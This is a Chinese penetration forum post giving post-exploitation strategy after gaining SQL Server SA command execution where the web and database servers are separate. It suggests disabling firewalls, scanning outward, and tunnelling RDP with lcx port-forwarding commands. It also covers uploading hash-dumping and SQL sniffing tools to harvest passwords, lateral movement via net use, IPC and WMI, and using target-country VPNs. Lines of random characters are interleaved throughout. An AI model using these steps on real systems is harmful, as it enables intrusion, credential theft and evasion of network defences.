中国网络渗透测试联盟
标题:
SA权限网站和数据库分离的一些思路
[打印本页]
作者:
admin
时间:
2013-2-16 21:46
标题:
SA权限网站和数据库分离的一些思路
当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
9 a) i1 ^4 M& e; N
% p- _9 q; l. M* Q) ]
7 s! e3 {+ }6 p3 E7 w5 o( A
, W9 g( n, J3 T2 @# S- c
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
$ a+ D9 k& o- y& H5 }7 w, g
+ o3 C) W( }+ R! f$ r y+ G2 _
, m7 L1 \% t' v
一、DB机有公网IP.
2 }! X7 R: D6 W. O# W' l9 @- h
# s" [/ \8 \2 |
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
1 J* V! i/ B: X5 M& a
; Y# |9 l% y5 ^
, I: y1 B: B4 { t
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
/ g6 d1 i5 i w3 Y
3 Q3 j! U; {5 w
# z( j0 H: S( e0 [8 ~- x6 p5 K# v
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍.
www.2cto.com
. Q0 R1 ?$ T6 h5 P
, {2 |% d! W, D- z+ R+ C8 B+ ]
. G: u5 l) _& Y4 N, m& Q
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
# m& u8 [& @: l! b6 ~
/ a. Q1 k$ Z* X6 V( y7 Z4 ^. i
( A! D- W; l3 J/ u4 u
* ?% p. u1 q: i! r# O, B
二、DB机只有内网IP
B* o ^# }) I: l% o1 R3 N
8 }, z: `5 Z7 r9 R+ l
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心
, 拿密码尝试登陆web后台等.
7 b# @) C% [. y7 l2 [7 C* ~ e$ R
+ R z2 k' [; B/ W6 a. v8 J$ Z$ |
0 @" O1 F# U* `
2:停掉防火墙和IP策略再从内往外扫描.
( i" N1 G7 D) V
/ s" t9 e, b2 L. n% N3 }" ^
. l6 Y& M& i1 e( J+ N
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
' [9 y! R7 w& c
( p5 ~% I7 d8 x( Z
$ u; ]2 i* Y1 U& O7 `
4:学会密码规律分析往往会有惊喜.
0 v4 x, g# |9 P3 }. V( R
( J9 ]7 I/ d5 p. ?# h
H% b; M2 X$ c" w4 N. a3 N
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
$ ? r4 o( r o1 C1 L7 {
1 q# j7 A4 o2 [+ C; i& G2 N
" V1 C# z0 v5 r6 A& B+ I) Q
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2